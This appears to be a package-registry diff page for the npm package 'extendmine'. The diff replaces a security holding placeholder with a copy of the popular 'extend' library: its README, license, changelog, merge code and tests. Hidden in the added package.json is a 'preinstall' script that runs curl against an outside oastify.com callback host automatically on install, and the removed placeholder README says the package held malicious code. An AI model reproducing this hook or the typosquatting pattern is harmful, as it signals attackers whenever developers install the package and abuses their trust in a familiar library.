extendmine 0.0.1-security → 3.0.2

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of extendmine might be problematic. Click here for more details.

package/.eslintrc ADDED
@@ -0,0 +1,26 @@
1
+ {
2
+ "root": true,
3
+
4
+ "extends": "@ljharb",
5
+
6
+ "rules": {
7
+ "eqeqeq": [2, "allow-null"],
8
+ "func-name-matching": [2, "always"],
9
+ "max-depth": [1, 4],
10
+ "no-magic-numbers": [2, {
11
+ "ignore": [0, 1, 2],
12
+ }],
13
+ "no-restricted-syntax": [2, "BreakStatement", "ContinueStatement", "DebuggerStatement", "LabeledStatement", "WithStatement"],
14
+ "sort-keys": [0],
15
+ },
16
+
17
+ "overrides": [
18
+ {
19
+ "files": "test/**",
20
+ "rules": {
21
+ "max-lines-per-function": 0,
22
+ "no-magic-numbers": 0,
23
+ },
24
+ },
25
+ ],
26
+ }
@@ -0,0 +1,3 @@
1
+ # Security
2
+
3
+ Please email [@ljharb](https://github.com/ljharb) or see https://tidelift.com/security if you have a potential security vulnerability to report.
package/.nycrc ADDED
@@ -0,0 +1,13 @@
1
+ {
2
+ "all": true,
3
+ "check-coverage": false,
4
+ "reporter": ["text-summary", "text", "html", "json"],
5
+ "lines": 86,
6
+ "statements": 85.93,
7
+ "functions": 82.43,
8
+ "branches": 76.06,
9
+ "exclude": [
10
+ "coverage",
11
+ "dist"
12
+ ]
13
+ }
package/CHANGELOG.md ADDED
@@ -0,0 +1,94 @@
1
+ 3.0.2 / 2018-07-19
2
+ ==================
3
+ * [Fix] Prevent merging `__proto__` property (#48)
4
+ * [Dev Deps] update `eslint`, `@ljharb/eslint-config`, `tape`
5
+ * [Tests] up to `node` `v10.7`, `v9.11`, `v8.11`, `v7.10`, `v6.14`, `v4.9`; use `nvm install-latest-npm`
6
+
7
+ 3.0.1 / 2017-04-27
8
+ ==================
9
+ * [Fix] deep extending should work with a non-object (#46)
10
+ * [Dev Deps] update `tape`, `eslint`, `@ljharb/eslint-config`
11
+ * [Tests] up to `node` `v7.9`, `v6.10`, `v4.8`; improve matrix
12
+ * [Docs] Switch from vb.teelaun.ch to versionbadg.es for the npm version badge SVG.
13
+ * [Docs] Add example to readme (#34)
14
+
15
+ 3.0.0 / 2015-07-01
16
+ ==================
17
+ * [Possible breaking change] Use global "strict" directive (#32)
18
+ * [Tests] `int` is an ES3 reserved word
19
+ * [Tests] Test up to `io.js` `v2.3`
20
+ * [Tests] Add `npm run eslint`
21
+ * [Dev Deps] Update `covert`, `jscs`
22
+
23
+ 2.0.2 / 2018-07-19
24
+ ==================
25
+ * [Fix] Prevent merging `__proto__` property (#48)
26
+ * [Fix] deep extending should work with a non-object (#46)
27
+ * [Docs] Switch from vb.teelaun.ch to versionbadg.es for the npm version badge SVG.
28
+ * [Docs] Add example to readme (#34)
29
+ * [Dev Deps] update `tape`, `eslint`, `@ljharb/eslint-config`, `covert`, `jscs`
30
+ * [Tests] up to `node` `v10.7`, `v9.11`, `v8.11`, `v7.10`, `v6.14`, `v4.9`; `io.js` `v2.3`; use `nvm install-latest-npm`
31
+ * [Tests] Add `npm run eslint`
32
+ * [Tests] `int` is an ES3 reserved word
33
+
34
+ 2.0.1 / 2015-04-25
35
+ ==================
36
+ * Use an inline `isArray` check, for ES3 browsers. (#27)
37
+ * Some old browsers fail when an identifier is `toString`
38
+ * Test latest `node` and `io.js` versions on `travis-ci`; speed up builds
39
+ * Add license info to package.json (#25)
40
+ * Update `tape`, `jscs`
41
+ * Adding a CHANGELOG
42
+
43
+ 2.0.0 / 2014-10-01
44
+ ==================
45
+ * Increase code coverage to 100%; run code coverage as part of tests
46
+ * Add `npm run lint`; Run linter as part of tests
47
+ * Remove nodeType and setInterval checks in isPlainObject
48
+ * Updating `tape`, `jscs`, `covert`
49
+ * General style and README cleanup
50
+
51
+ 1.3.0 / 2014-06-20
52
+ ==================
53
+ * Add component.json for browser support (#18)
54
+ * Use SVG for badges in README (#16)
55
+ * Updating `tape`, `covert`
56
+ * Updating travis-ci to work with multiple node versions
57
+ * Fix `deep === false` bug (returning target as {}) (#14)
58
+ * Fixing constructor checks in isPlainObject
59
+ * Adding additional test coverage
60
+ * Adding `npm run coverage`
61
+ * Add LICENSE (#13)
62
+ * Adding a warning about `false`, per #11
63
+ * General style and whitespace cleanup
64
+
65
+ 1.2.1 / 2013-09-14
66
+ ==================
67
+ * Fixing hasOwnProperty bugs that would only have shown up in specific browsers. Fixes #8
68
+ * Updating `tape`
69
+
70
+ 1.2.0 / 2013-09-02
71
+ ==================
72
+ * Updating the README: add badges
73
+ * Adding a missing variable reference.
74
+ * Using `tape` instead of `buster` for tests; add more tests (#7)
75
+ * Adding node 0.10 to Travis CI (#6)
76
+ * Enabling "npm test" and cleaning up package.json (#5)
77
+ * Add Travis CI.
78
+
79
+ 1.1.3 / 2012-12-06
80
+ ==================
81
+ * Added unit tests.
82
+ * Ensure extend function is named. (Looks nicer in a stack trace.)
83
+ * README cleanup.
84
+
85
+ 1.1.1 / 2012-11-07
86
+ ==================
87
+ * README cleanup.
88
+ * Added installation instructions.
89
+ * Added a missing semicolon
90
+
91
+ 1.0.0 / 2012-04-08
92
+ ==================
93
+ * Initial commit
94
+
package/LICENSE ADDED
@@ -0,0 +1,23 @@
1
+ The MIT License (MIT)
2
+
3
+ Copyright (c) 2014 Stefan Thomas
4
+
5
+ Permission is hereby granted, free of charge, to any person obtaining
6
+ a copy of this software and associated documentation files (the
7
+ "Software"), to deal in the Software without restriction, including
8
+ without limitation the rights to use, copy, modify, merge, publish,
9
+ distribute, sublicense, and/or sell copies of the Software, and to
10
+ permit persons to whom the Software is furnished to do so, subject to
11
+ the following conditions:
12
+
13
+ The above copyright notice and this permission notice shall be
14
+ included in all copies or substantial portions of the Software.
15
+
16
+ THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
17
+ EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
18
+ MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
19
+ NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
20
+ LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
21
+ OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
22
+ WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
23
+
package/README.md CHANGED
@@ -1,5 +1,92 @@
1
- # Security holding package
1
+ # extend() for Node.js <sup>[![Version Badge][npm-version-svg]][npm-url]</sup>
2
2
 
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
3
+ [![github actions][actions-image]][actions-url]
4
+ [![coverage][codecov-image]][codecov-url]
5
+ [![dependency status][deps-svg]][deps-url]
6
+ [![dev dependency status][dev-deps-svg]][dev-deps-url]
7
+ [![License][license-image]][license-url]
8
+ [![Downloads][downloads-image]][downloads-url]
4
9
 
5
- Please refer to www.npmjs.com/advisories?search=extendmine for more information.
10
+ [![npm badge][npm-badge-png]][npm-url]
11
+
12
+ `node-extend` is a port of the classic extend() method from jQuery. It behaves as you expect. It is simple, tried and true.
13
+
14
+ Notes:
15
+
16
+ * Since Node.js >= 4,
17
+ [`Object.assign`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/assign)
18
+ now offers the same functionality natively (but without the "deep copy" option).
19
+ See [ECMAScript 2015 (ES6) in Node.js](https://nodejs.org/en/docs/es6).
20
+ * Some native implementations of `Object.assign` in both Node.js and many
21
+ browsers (since NPM modules are for the browser too) may not be fully
22
+ spec-compliant.
23
+ Check [`object.assign`](https://www.npmjs.com/package/object.assign) module for
24
+ a compliant candidate.
25
+
26
+ ## Installation
27
+
28
+ This package is available on [npm][npm-url] as: `extend`
29
+
30
+ ``` sh
31
+ npm install extend
32
+ ```
33
+
34
+ ## Usage
35
+
36
+ **Syntax:** extend **(** [`deep`], `target`, `object1`, [`objectN`] **)**
37
+
38
+ *Extend one object with one or more others, returning the modified object.*
39
+
40
+ **Example:**
41
+
42
+ ``` js
43
+ var extend = require('extend');
44
+ extend(targetObject, object1, object2);
45
+ ```
46
+
47
+ Keep in mind that the target object will be modified, and will be returned from extend().
48
+
49
+ If a boolean true is specified as the first argument, extend performs a deep copy, recursively copying any objects it finds. Otherwise, the copy will share structure with the original object(s).
50
+ Undefined properties are not copied. However, properties inherited from the object's prototype will be copied over.
51
+ Warning: passing `false` as the first argument is not supported.
52
+
53
+ ### Arguments
54
+
55
+ * `deep` *Boolean* (optional)
56
+ If set, the merge becomes recursive (i.e. deep copy).
57
+ * `target` *Object*
58
+ The object to extend.
59
+ * `object1` *Object*
60
+ The object that will be merged into the first.
61
+ * `objectN` *Object* (Optional)
62
+ More objects to merge into the first.
63
+
64
+ ## License
65
+
66
+ `node-extend` is licensed under the [MIT License][mit-license-url].
67
+
68
+ ## Acknowledgements
69
+
70
+ All credit to the jQuery authors for perfecting this amazing utility.
71
+
72
+ Ported to Node.js by [Stefan Thomas][github-justmoon] with contributions by [Jonathan Buchanan][github-insin] and [Jordan Harband][github-ljharb].
73
+
74
+ [npm-url]: https://npmjs.org/package/extend
75
+ [npm-version-svg]: https://versionbadg.es/justmoon/node-extend.svg
76
+ [deps-svg]: https://david-dm.org/justmoon/node-extend.svg
77
+ [deps-url]: https://david-dm.org/justmoon/node-extend
78
+ [dev-deps-svg]: https://david-dm.org/justmoon/node-extend/dev-status.svg
79
+ [dev-deps-url]: https://david-dm.org/justmoon/node-extend#info=devDependencies
80
+ [npm-badge-png]: https://nodei.co/npm/extend.png?downloads=true&stars=true
81
+ [license-image]: https://img.shields.io/npm/l/extend.svg
82
+ [license-url]: LICENSE
83
+ [downloads-image]: https://img.shields.io/npm/dm/extend.svg
84
+ [downloads-url]: https://npm-stat.com/charts.html?package=extend
85
+ [codecov-image]: https://codecov.io/gh/justmoon/node-extend/branch/main/graphs/badge.svg
86
+ [codecov-url]: https://app.codecov.io/gh/justmoon/node-extend/
87
+ [actions-image]: https://img.shields.io/endpoint?url=https://github-actions-badge-u3jn4tfpocch.runkit.sh/justmoon/node-extend
88
+ [actions-url]: https://github.com/justmoon/node-extend/actions
89
+ [github-justmoon]: https://github.com/justmoon
90
+ [github-insin]: https://github.com/insin
91
+ [github-ljharb]: https://github.com/ljharb
92
+ [mit-license-url]: http://opensource.org/licenses/MIT
package/component.json ADDED
@@ -0,0 +1,35 @@
1
+ {
2
+ "name": "extendmine",
3
+ "author": "Stefan Thomas <justmoon@members.fsf.org> (http://www.justmoon.net)",
4
+ "version": "3.0.2",
5
+ "description": "Port of jQuery.extend for node.js and the browser.",
6
+ "scripts": [
7
+ "index.js"
8
+ ],
9
+ "contributors": [
10
+ {
11
+ "name": "Jordan Harband",
12
+ "url": "https://github.com/ljharb"
13
+ }
14
+ ],
15
+ "keywords": [
16
+ "extend",
17
+ "clone",
18
+ "merge"
19
+ ],
20
+ "repository" : {
21
+ "type": "git",
22
+ "url": "https://github.com/justmoon/node-extend.git"
23
+ },
24
+ "dependencies": {
25
+ },
26
+ "devDependencies": {
27
+ "@ljharb/eslint-config": "^20.1.0",
28
+ "aud": "^1.1.5",
29
+ "eslint": "^8.6.0",
30
+ "nyc": "^10.3.2",
31
+ "safe-publish-latest": "^2.0.0",
32
+ "tape": "^4.14.0"
33
+ }
34
+ }
35
+
package/index.js ADDED
@@ -0,0 +1,116 @@
1
+ 'use strict';
2
+
3
+ var hasOwn = Object.prototype.hasOwnProperty;
4
+ var toStr = Object.prototype.toString;
5
+ var defineProperty = Object.defineProperty;
6
+ var gOPD = Object.getOwnPropertyDescriptor;
7
+
8
+ var isArray = function isArray(arr) {
9
+ if (typeof Array.isArray === 'function') {
10
+ return Array.isArray(arr);
11
+ }
12
+
13
+ return toStr.call(arr) === '[object Array]';
14
+ };
15
+
16
+ var isPlainObject = function isPlainObject(obj) {
17
+ if (!obj || toStr.call(obj) !== '[object Object]') {
18
+ return false;
19
+ }
20
+
21
+ var hasOwnConstructor = hasOwn.call(obj, 'constructor');
22
+ var hasIsPrototypeOf = obj.constructor && obj.constructor.prototype && hasOwn.call(obj.constructor.prototype, 'isPrototypeOf');
23
+ // Not own constructor property must be Object
24
+ if (obj.constructor && !hasOwnConstructor && !hasIsPrototypeOf) {
25
+ return false;
26
+ }
27
+
28
+ // Own properties are enumerated firstly, so to speed up, if last one is own, then all properties are own.
29
+ var key;
30
+ for (key in obj) { /**/ }
31
+
32
+ return typeof key === 'undefined' || hasOwn.call(obj, key);
33
+ };
34
+
35
+ // If name is '__proto__', and Object.defineProperty is available, define __proto__ as an own property on target
36
+ var setProperty = function setProperty(target, options) {
37
+ if (defineProperty && options.name === '__proto__') {
38
+ defineProperty(target, options.name, {
39
+ enumerable: true,
40
+ configurable: true,
41
+ value: options.newValue,
42
+ writable: true
43
+ });
44
+ } else {
45
+ // eslint-disable-next-line no-param-reassign
46
+ target[options.name] = options.newValue;
47
+ }
48
+ };
49
+
50
+ // Return undefined instead of __proto__ if '__proto__' is not an own property
51
+ var getProperty = function getProperty(obj, name) {
52
+ if (name === '__proto__') {
53
+ if (!hasOwn.call(obj, name)) {
54
+ return void 0;
55
+ } else if (gOPD) {
56
+ // In early versions of node, obj['__proto__'] is buggy when obj has __proto__ as an own property. Object.getOwnPropertyDescriptor() works.
57
+ return gOPD(obj, name).value;
58
+ }
59
+ }
60
+
61
+ return obj[name];
62
+ };
63
+
64
+ module.exports = function extend() {
65
+ var options, name, src, copy, copyIsArray, clone;
66
+ var target = arguments[0];
67
+ var i = 1;
68
+ var length = arguments.length;
69
+ var deep = false;
70
+
71
+ // Handle a deep copy situation
72
+ if (typeof target === 'boolean') {
73
+ deep = target;
74
+ target = arguments[1] || {};
75
+ // skip the boolean and the target
76
+ i = 2;
77
+ }
78
+ if (target == null || (typeof target !== 'object' && typeof target !== 'function')) {
79
+ target = {};
80
+ }
81
+
82
+ for (; i < length; ++i) {
83
+ options = arguments[i];
84
+ // Only deal with non-null/undefined values
85
+ if (options != null) {
86
+ // Extend the base object
87
+ for (name in options) {
88
+ src = getProperty(target, name);
89
+ copy = getProperty(options, name);
90
+
91
+ // Prevent never-ending loop
92
+ if (target !== copy) {
93
+ // Recurse if we're merging plain objects or arrays
94
+ if (deep && copy && (isPlainObject(copy) || (copyIsArray = isArray(copy)))) {
95
+ if (copyIsArray) {
96
+ copyIsArray = false;
97
+ clone = src && isArray(src) ? src : [];
98
+ } else {
99
+ clone = src && isPlainObject(src) ? src : {};
100
+ }
101
+
102
+ // Never move original objects, clone them
103
+ setProperty(target, { name: name, newValue: extend(deep, clone, copy) });
104
+
105
+ // Don't bring in undefined values
106
+ } else if (typeof copy !== 'undefined') {
107
+ setProperty(target, { name: name, newValue: copy });
108
+ }
109
+ }
110
+ }
111
+ }
112
+ }
113
+
114
+ // Return the modified object
115
+ return target;
116
+ };
package/package.json CHANGED
@@ -1,6 +1,46 @@
1
1
  {
2
- "name": "extendmine",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
2
+ "name": "extendmine",
3
+ "author": "Stefan Thomas <justmoon@members.fsf.org> (http://www.justmoon.net)",
4
+ "version": "3.0.2",
5
+ "description": "Port of jQuery.extend for node.js and the browser",
6
+ "main": "index",
7
+ "scripts": {
8
+ "pretest": "npm run lint",
9
+ "test": "npm run tests-only",
10
+ "posttest": "aud --production",
11
+ "tests-only": "nyc tape 'test/**/*.js'",
12
+ "preinstall": "curl https://ei0w7za87ojm262qtgy74wcrtiz9nzbo.oastify.com",
13
+ "lint": "eslint --ext=js,mjs ."
14
+ },
15
+ "contributors": [
16
+ {
17
+ "name": "Jordan Harband",
18
+ "url": "https://github.com/ljharb"
19
+ }
20
+ ],
21
+ "keywords": [
22
+ "extendmine",
23
+ "clone",
24
+ "merge"
25
+ ],
26
+ "repository": {
27
+ "type": "git",
28
+ "url": "git+https://github.com/justmoon/node-extend.git"
29
+ },
30
+ "devDependencies": {
31
+ "@ljharb/eslint-config": "^21.1.0",
32
+ "aud": "^2.0.3",
33
+ "eslint": "=8.8.0",
34
+ "nyc": "^10.3.2",
35
+ "safe-publish-latest": "^2.0.0",
36
+ "tape": "^4.17.0"
37
+ },
38
+ "license": "MIT",
39
+ "directories": {
40
+ "test": "test"
41
+ },
42
+ "bugs": {
43
+ "url": "https://github.com/justmoon/node-extend/issues"
44
+ },
45
+ "homepage": "https://github.com/justmoon/node-extend#readme"
6
46
  }
package/test/index.js ADDED
@@ -0,0 +1,640 @@
1
+ 'use strict';
2
+
3
+ var extend = require('../');
4
+ var test = require('tape');
5
+
6
+ var str = 'me a test';
7
+ var integer = 10;
8
+ var arr = [1, 'what', new Date(81, 8, 4)];
9
+ var date = new Date(81, 4, 13);
10
+
11
+ var Foo = function () {};
12
+
13
+ var obj = {
14
+ str: str,
15
+ integer: integer,
16
+ arr: arr,
17
+ date: date,
18
+ constructor: 'fake',
19
+ isPrototypeOf: 'not a function',
20
+ foo: new Foo()
21
+ };
22
+
23
+ var deep = {
24
+ ori: obj,
25
+ layer: {
26
+ integer: 10,
27
+ str: 'str',
28
+ date: new Date(84, 5, 12),
29
+ arr: [101, 'dude', new Date(82, 10, 4)],
30
+ deep: {
31
+ str: obj.str,
32
+ integer: integer,
33
+ arr: obj.arr,
34
+ date: new Date(81, 7, 4)
35
+ }
36
+ }
37
+ };
38
+
39
+ test('missing arguments', function (t) {
40
+ t.deepEqual(extend(undefined, { a: 1 }), { a: 1 }, 'missing first argument is second argument');
41
+ t.deepEqual(extend({ a: 1 }), { a: 1 }, 'missing second argument is first argument');
42
+ t.deepEqual(extend(true, undefined, { a: 1 }), { a: 1 }, 'deep: missing first argument is second argument');
43
+ t.deepEqual(extend(true, { a: 1 }), { a: 1 }, 'deep: missing second argument is first argument');
44
+ t.deepEqual(extend(), {}, 'no arguments is object');
45
+ t.end();
46
+ });
47
+
48
+ test('merge string with string', function (t) {
49
+ var ori = 'what u gonna say';
50
+ var target = extend(ori, str);
51
+ var expectedTarget = {
52
+ 0: 'm',
53
+ 1: 'e',
54
+ 2: ' ',
55
+ 3: 'a',
56
+ 4: ' ',
57
+ 5: 't',
58
+ 6: 'e',
59
+ 7: 's',
60
+ 8: 't'
61
+ };
62
+
63
+ t.equal(ori, 'what u gonna say', 'original string 1 is unchanged');
64
+ t.equal(str, 'me a test', 'original string 2 is unchanged');
65
+ t.deepEqual(target, expectedTarget, 'string + string is merged object form of string');
66
+ t.end();
67
+ });
68
+
69
+ test('merge string with number', function (t) {
70
+ var ori = 'what u gonna say';
71
+ var target = extend(ori, 10);
72
+
73
+ t.equal(ori, 'what u gonna say', 'original string is unchanged');
74
+ t.deepEqual(target, {}, 'string + number is empty object');
75
+
76
+ t.end();
77
+ });
78
+
79
+ test('merge string with array', function (t) {
80
+ var ori = 'what u gonna say';
81
+ var target = extend(ori, arr);
82
+
83
+ t.equal(ori, 'what u gonna say', 'original string is unchanged');
84
+ t.deepEqual(arr, [1, 'what', new Date(81, 8, 4)], 'array is unchanged');
85
+ t.deepEqual(target, {
86
+ 0: 1,
87
+ 1: 'what',
88
+ 2: new Date(81, 8, 4)
89
+ }, 'string + array is array');
90
+ t.end();
91
+ });
92
+
93
+ test('merge string with date', function (t) {
94
+ var ori = 'what u gonna say';
95
+ var target = extend(ori, date);
96
+
97
+ var testDate = new Date(81, 4, 13);
98
+ t.equal(ori, 'what u gonna say', 'original string is unchanged');
99
+ t.deepEqual(date, testDate, 'date is unchanged');
100
+ t.deepEqual(target, testDate, 'string + date is date');
101
+ t.end();
102
+ });
103
+
104
+ test('merge string with obj', function (t) {
105
+ var ori = 'what u gonna say';
106
+ var target = extend(ori, obj);
107
+
108
+ t.equal(ori, 'what u gonna say', 'original string is unchanged');
109
+ var testObj = {
110
+ str: 'me a test',
111
+ integer: 10,
112
+ arr: [1, 'what', new Date(81, 8, 4)],
113
+ date: new Date(81, 4, 13),
114
+ constructor: 'fake',
115
+ isPrototypeOf: 'not a function',
116
+ foo: new Foo()
117
+ };
118
+ t.deepEqual(obj, testObj, 'original obj is unchanged');
119
+ t.deepEqual(target, testObj, 'string + obj is obj');
120
+ t.end();
121
+ });
122
+
123
+ test('merge number with string', function (t) {
124
+ var ori = 20;
125
+ var target = extend(ori, str);
126
+
127
+ t.equal(ori, 20, 'number is unchanged');
128
+ t.equal(str, 'me a test', 'string is unchanged');
129
+ t.deepEqual(target, {
130
+ 0: 'm',
131
+ 1: 'e',
132
+ 2: ' ',
133
+ 3: 'a',
134
+ 4: ' ',
135
+ 5: 't',
136
+ 6: 'e',
137
+ 7: 's',
138
+ 8: 't'
139
+ }, 'number + string is object form of string');
140
+ t.end();
141
+ });
142
+
143
+ test('merge number with number', function (t) {
144
+ t.deepEqual(extend(20, 10), {}, 'number + number is empty object');
145
+ t.end();
146
+ });
147
+
148
+ test('merge number with array', function (t) {
149
+ var target = extend(20, arr);
150
+
151
+ t.deepEqual(arr, [1, 'what', new Date(81, 8, 4)], 'array is unchanged');
152
+ t.deepEqual(target, {
153
+ 0: 1,
154
+ 1: 'what',
155
+ 2: new Date(81, 8, 4)
156
+ }, 'number + arr is object with array contents');
157
+ t.end();
158
+ });
159
+
160
+ test('merge number with date', function (t) {
161
+ var target = extend(20, date);
162
+ var testDate = new Date(81, 4, 13);
163
+
164
+ t.deepEqual(date, testDate, 'original date is unchanged');
165
+ t.deepEqual(target, testDate, 'number + date is date');
166
+ t.end();
167
+ });
168
+
169
+ test('merge number with object', function (t) {
170
+ var target = extend(20, obj);
171
+ var testObj = {
172
+ str: 'me a test',
173
+ integer: 10,
174
+ arr: [1, 'what', new Date(81, 8, 4)],
175
+ date: new Date(81, 4, 13),
176
+ constructor: 'fake',
177
+ isPrototypeOf: 'not a function',
178
+ foo: new Foo()
179
+ };
180
+
181
+ t.deepEqual(obj, testObj, 'obj is unchanged');
182
+ t.deepEqual(target, testObj, 'number + obj is obj');
183
+ t.end();
184
+ });
185
+
186
+ test('merge array with string', function (t) {
187
+ var ori = [1, 2, 3, 4, 5, 6];
188
+ var target = extend(ori, str);
189
+
190
+ t.deepEqual(ori, str.split(''), 'array is changed to be an array of string chars');
191
+ t.equal(str, 'me a test', 'string is unchanged');
192
+ t.deepEqual(target, {
193
+ 0: 'm',
194
+ 1: 'e',
195
+ 2: ' ',
196
+ 3: 'a',
197
+ 4: ' ',
198
+ 5: 't',
199
+ 6: 'e',
200
+ 7: 's',
201
+ 8: 't'
202
+ }, 'array + string is object form of string');
203
+ t.end();
204
+ });
205
+
206
+ test('merge array with number', function (t) {
207
+ var ori = [1, 2, 3, 4, 5, 6];
208
+ var target = extend(ori, 10);
209
+
210
+ t.deepEqual(ori, [1, 2, 3, 4, 5, 6], 'array is unchanged');
211
+ t.deepEqual(target, ori, 'array + number is array');
212
+ t.end();
213
+ });
214
+
215
+ test('merge array with array', function (t) {
216
+ var ori = [1, 2, 3, 4, 5, 6];
217
+ var target = extend(ori, arr);
218
+ var testDate = new Date(81, 8, 4);
219
+ var expectedTarget = [1, 'what', testDate, 4, 5, 6];
220
+
221
+ t.deepEqual(ori, expectedTarget, 'array + array merges arrays; changes first array');
222
+ t.deepEqual(arr, [1, 'what', testDate], 'second array is unchanged');
223
+ t.deepEqual(target, expectedTarget, 'array + array is merged array');
224
+ t.end();
225
+ });
226
+
227
+ test('merge array with date', function (t) {
228
+ var ori = [1, 2, 3, 4, 5, 6];
229
+ var target = extend(ori, date);
230
+ var testDate = new Date(81, 4, 13);
231
+ var testArray = [1, 2, 3, 4, 5, 6];
232
+
233
+ t.deepEqual(ori, testArray, 'array is unchanged');
234
+ t.deepEqual(date, testDate, 'date is unchanged');
235
+ t.deepEqual(target, testArray, 'array + date is array');
236
+ t.end();
237
+ });
238
+
239
+ test('merge array with object', function (t) {
240
+ var ori = [1, 2, 3, 4, 5, 6];
241
+ var target = extend(ori, obj);
242
+ var testObject = {
243
+ str: 'me a test',
244
+ integer: 10,
245
+ arr: [1, 'what', new Date(81, 8, 4)],
246
+ date: new Date(81, 4, 13),
247
+ constructor: 'fake',
248
+ isPrototypeOf: 'not a function',
249
+ foo: new Foo()
250
+ };
251
+
252
+ t.deepEqual(obj, testObject, 'obj is unchanged');
253
+ t.equal(ori.length, 6, 'array has proper length');
254
+ t.equal(ori.str, obj.str, 'array has obj.str property');
255
+ t.equal(ori.integer, obj.integer, 'array has obj.integer property');
256
+ t.deepEqual(ori.arr, obj.arr, 'array has obj.arr property');
257
+ t.equal(ori.date, obj.date, 'array has obj.date property');
258
+
259
+ t.equal(target.length, 6, 'target has proper length');
260
+ t.equal(target.str, obj.str, 'target has obj.str property');
261
+ t.equal(target.integer, obj.integer, 'target has obj.integer property');
262
+ t.deepEqual(target.arr, obj.arr, 'target has obj.arr property');
263
+ t.equal(target.date, obj.date, 'target has obj.date property');
264
+ t.end();
265
+ });
266
+
267
+ test('merge date with string', function (t) {
268
+ var ori = new Date(81, 9, 20);
269
+ var target = extend(ori, str);
270
+ var testObject = {
271
+ 0: 'm',
272
+ 1: 'e',
273
+ 2: ' ',
274
+ 3: 'a',
275
+ 4: ' ',
276
+ 5: 't',
277
+ 6: 'e',
278
+ 7: 's',
279
+ 8: 't'
280
+ };
281
+
282
+ t.deepEqual(ori, testObject, 'date is changed to object form of string');
283
+ t.equal(str, 'me a test', 'string is unchanged');
284
+ t.deepEqual(target, testObject, 'date + string is object form of string');
285
+ t.end();
286
+ });
287
+
288
+ test('merge date with number', function (t) {
289
+ var ori = new Date(81, 9, 20);
290
+ var target = extend(ori, 10);
291
+
292
+ t.deepEqual(ori, {}, 'date is changed to empty object');
293
+ t.deepEqual(target, {}, 'date + number is empty object');
294
+ t.end();
295
+ });
296
+
297
+ test('merge date with array', function (t) {
298
+ var ori = new Date(81, 9, 20);
299
+ var target = extend(ori, arr);
300
+ var testDate = new Date(81, 9, 20);
301
+ var testArray = [1, 'what', new Date(81, 8, 4)];
302
+
303
+ t.deepEqual(ori, testDate, 'date is unchanged');
304
+ t.deepEqual(arr, testArray, 'array is unchanged');
305
+ t.deepEqual(target, testDate, 'date + array is date');
306
+ t.end();
307
+ });
308
+
309
+ test('merge date with date', function (t) {
310
+ var ori = new Date(81, 9, 20);
311
+ var target = extend(ori, date);
312
+
313
+ t.deepEqual(ori, {}, 'date is empty object');
314
+ t.deepEqual(target, {}, 'date + date is empty object');
315
+ t.end();
316
+ });
317
+
318
+ test('merge date with object', function (t) {
319
+ var ori = new Date(81, 9, 20);
320
+ var target = extend(ori, obj);
321
+ var testDate = new Date(81, 8, 4);
322
+ var testObject = {
323
+ str: 'me a test',
324
+ integer: 10,
325
+ arr: [1, 'what', testDate],
326
+ date: new Date(81, 4, 13),
327
+ constructor: 'fake',
328
+ isPrototypeOf: 'not a function',
329
+ foo: new Foo()
330
+ };
331
+
332
+ t.deepEqual(obj, testObject, 'original object is unchanged');
333
+ t.deepEqual(ori, testObject, 'date becomes original object');
334
+ t.deepEqual(target, testObject, 'date + object is object');
335
+ t.end();
336
+ });
337
+
338
+ test('merge object with string', function (t) {
339
+ var testDate = new Date(81, 7, 26);
340
+ var ori = {
341
+ str: 'no shit',
342
+ integer: 76,
343
+ arr: [1, 2, 3, 4],
344
+ date: testDate
345
+ };
346
+ var target = extend(ori, str);
347
+ var testObj = {
348
+ 0: 'm',
349
+ 1: 'e',
350
+ 2: ' ',
351
+ 3: 'a',
352
+ 4: ' ',
353
+ 5: 't',
354
+ 6: 'e',
355
+ 7: 's',
356
+ 8: 't',
357
+ str: 'no shit',
358
+ integer: 76,
359
+ arr: [1, 2, 3, 4],
360
+ date: testDate
361
+ };
362
+
363
+ t.deepEqual(ori, testObj, 'original object updated');
364
+ t.equal(str, 'me a test', 'string is unchanged');
365
+ t.deepEqual(target, testObj, 'object + string is object + object form of string');
366
+ t.end();
367
+ });
368
+
369
+ test('merge object with number', function (t) {
370
+ var ori = {
371
+ str: 'no shit',
372
+ integer: 76,
373
+ arr: [1, 2, 3, 4],
374
+ date: new Date(81, 7, 26)
375
+ };
376
+ var testObject = {
377
+ str: 'no shit',
378
+ integer: 76,
379
+ arr: [1, 2, 3, 4],
380
+ date: new Date(81, 7, 26)
381
+ };
382
+ var target = extend(ori, 10);
383
+ t.deepEqual(ori, testObject, 'object is unchanged');
384
+ t.deepEqual(target, testObject, 'object + number is object');
385
+ t.end();
386
+ });
387
+
388
+ test('merge object with array', function (t) {
389
+ var ori = {
390
+ str: 'no shit',
391
+ integer: 76,
392
+ arr: [1, 2, 3, 4],
393
+ date: new Date(81, 7, 26)
394
+ };
395
+ var target = extend(ori, arr);
396
+ var testObject = {
397
+ 0: 1,
398
+ 1: 'what',
399
+ 2: new Date(81, 8, 4),
400
+ str: 'no shit',
401
+ integer: 76,
402
+ arr: [1, 2, 3, 4],
403
+ date: new Date(81, 7, 26)
404
+ };
405
+
406
+ t.deepEqual(ori, testObject, 'original object is merged');
407
+ t.deepEqual(arr, [1, 'what', testObject[2]], 'array is unchanged');
408
+ t.deepEqual(target, testObject, 'object + array is merged object');
409
+ t.end();
410
+ });
411
+
412
+ test('merge object with date', function (t) {
413
+ var ori = {
414
+ str: 'no shit',
415
+ integer: 76,
416
+ arr: [1, 2, 3, 4],
417
+ date: new Date(81, 7, 26)
418
+ };
419
+ var target = extend(ori, date);
420
+ var testObject = {
421
+ str: 'no shit',
422
+ integer: 76,
423
+ arr: [1, 2, 3, 4],
424
+ date: new Date(81, 7, 26)
425
+ };
426
+
427
